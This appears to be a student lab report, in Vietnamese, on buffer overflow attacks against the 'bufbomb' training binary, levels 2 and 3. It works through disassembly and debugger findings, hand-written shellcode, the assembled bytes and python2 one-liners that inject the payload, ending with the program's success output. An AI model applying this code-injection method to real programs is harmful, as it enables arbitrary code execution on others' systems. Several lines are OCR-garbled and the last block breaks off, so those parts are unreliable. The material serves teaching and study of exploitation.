THỰC HÀNH LẬP TRÌNH HỆ THỐNG - LỚP NT209.L21.ANTN.1

BÀI THỰC HÀNH 6: Tấn công Buffer Overflow (tt)

Giảng viên hướng dẫn	Đỗ Thị Hương Lan		ÐIỂM
Sinh viên thực hiện 1	Nguyễn Phúc Chương	19520429	
Sinh viên thực hiện 2	Nguyễn Mỹ Quỳnh	19520241	

Level 2

Đầu tiên xác định vị trí lưu biến global_value

```
.text:80021BA9
                                   public bang
   .text:80021BA9 bang:
  . text:80021BA9
                                   push
                                            ebp
  . text:80021BAA
                                   mov
                                            ebp, esp
   .text:80021BAC
                                            esp, 8
 . text:80021BAF
                                           eax, ds:global_value
                                   mov
  . text:80021BB4
                                   mov
                                           edx, eax
  .text:80021BB6
                                           eax, ds:cookie
                                   mou
  . text:80021BBB
                                   cmp
                                           edx, eax
  .text:80021BBD
                                   jnz
                                           short loc_80021BE4
  .text:80021BBF
                                   mov
                                            eax, ds:global_value
  .text:80021BC4
                                   sub
                                           esp, 8
  .text:80021BC7
                                   push
                                           eax
                                           offset aBangYouSetGlob ; "Bang!: You set global_value to 0x%x\n"
  .text:80021BC8
                                   push
  .text:80021BCD
                                   call
                                            _printf
  . text:80021BD2
                                   add
                                            esp, 10h
   .text:80021BD5
                                            esp, OCh
                                   sub
  . text:80021BD8
                                   push
  .text:80021BDA
                                   call.
                                           validate
  .text:80021BDF
                                           esp, 10h
                                   add
. text:80021BE2
                                   jmp
                                           short loc_80021BFA
   text:80021BE4
```

Địa chỉ lưu global value là 0x80027160

```
.bss:80027160 public global_value ; DATA XREF: .text:80021BAFfr ...
```

Đề yêu cầu viết chuỗi thực thi để thay đổi global_value = cookie

Cookie = 0x1fe0bf28

```
(kali⊗ kali) - [~/CTF/LTHT/Lab5]

$ ./makecookie 04290241

0x1fe0bf28
```

Tìm địa chỉ của chuỗi buffer, đặt breakpoint ngay trước hàm Gets

```
► 0x800222f5 <getbuf+13> call Gets <Gets>
arg[0]: 0x55683e18 ( reserved+1039896) → 0xf7dfc4e7 (srandom+7) ← add ebx, 0x1acb19
```

Ta có địa chỉ buffer là 0x55683e18, chương trình khá đặc biệt vì theo em để ý là chương trình tính và gán giá trị stack theo userid nhập, vì vậy chỉ cần cùng userid thì địa chỉ buffer sẽ không that đổi (không cần lo lắng về aslr).

Tìm địa chỉ hàm bang

```
pwndbg> x bang
0x80021ba9 <bang>: 0x83e58955
```

Ta viết mã exploit theo yêu cầu đề

```
movl $0x80027160, %eax # gan eax = cookie
movl $0x1fe0bf28, (%eax) # gan global = cookie
push $0x80021ba9 # dua vao dia chi ham bang
ret # ret
```

Biên dịch

```
(kali⊛ kali) - [~/CTF/LTHT/Lab5]
  s objdump -d 2.o
2.0:
         file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
   0:
        b8 60 71 02 80
                                          $0x80027160,%eax
                                  mov
                                          $0x1fe0bf28,(%eax)
   5:
        c7 00 28 bf e0 1f
                                  movl
        68 a9 1b 02 80
                                          $0x80021ba9
   b:
                                  push
        c3
  10:
                                  ret
```

Địa chỉ buffer là

```
1 int getbuf()
2 {
3   int v1; // [sp-28h] [bp-28h]@1
4
5   Gets(&v1);
6   return nullsub_10();
7 }
```

Vậy expliot của ta là: binarycode + padding + return address (buffer)

```
(kali⊛ kali) -[~/CTF/LTHT/Lab5]
$ python2 -c 'print "\xb8\x60\x71\x02\x80\xc7\x00\x28\xbf\xe0\x1f\x68\xa9\x1b\x02\x80\xc3" + "A" * (44 - 17) + "\x18\x3e\x68\x55"' | ./bufbomb -u 04290241
Userid: 04290241
Cookie: 0x1fe0bf28
Type string:Bang!: You set global_value to 0x1fe0bf28
VALID
NICE JOB!

T
```

python2 -c 'print

 $\label{eq:condition} $$ '' \times 80 \times 71 \times 02 \times 80 \times 7 \times 00 \times 28 \times bf \le 0 \times 1f \times 68 \times a9 \times 1b \times 02 \times 80 \times c3" + "A" * (44 - 17) + " \times 18 \times 3e \times 68 \times 55"' | ./bufbomb -u 04290241$

Level 3

Cũng là chuỗi exploit ở level2 nhưng đề yêu cầu gán giá trị trả về bằng cookie và trở lại ban đầu. Trong quá trình overwrite return address thì chỉ có giá trị ebp của hàm trước bị thay đổi là đáng quan tâm, còn lại thì không. Vì trong bài này đặc biệt ebp và esp không chịu tác động của aslr, vì vậy giá trị ebp và esp không thay đổi, vì vậy khi overflow chúng ta sẽ đặt nguyên giá trị ebp như cũ vào để chương trình không bị thay đổi.

Tìm giá trị ebp và return address nếu không xảy ra bufferoverflow, đặt breakpoint ngay sau hàm gets. Không buffer overflow

```
pwndbg> x $ebp
0x55683e40 <_reserved+1039936>: 0x80021c1755683e60
```

Ebp: 0x55683e60

Ret: 0x80021c17

Mã exploit

movl \$0x1fe0bf28, %eax # gan eax = cookie

push \$0x80021c17 # dua vao dia chi return address cu

ret # ret

Biên dịch

```
-(kali⊛ kali)-[~/CTF/LTHT/Lab5]
-$ objdump -d 3.o
         file format elf32-i386
3.0:
Disassembly of section .text:
00000000 <.text>:
        b8 28 bf e0 1f
                                         $0x1fe0bf28,%eax
   0:
                                 mov
        68 17 1c 02 80
                                         $0x80021c17
   5:
                                 push
                                                         I
   a:
        c3
                                 ret
```

Exploit: binarycode + padding + (ebp cũ) + return address (buffer)

```
\( \text{kali \cdot kali} \cdot \cd
```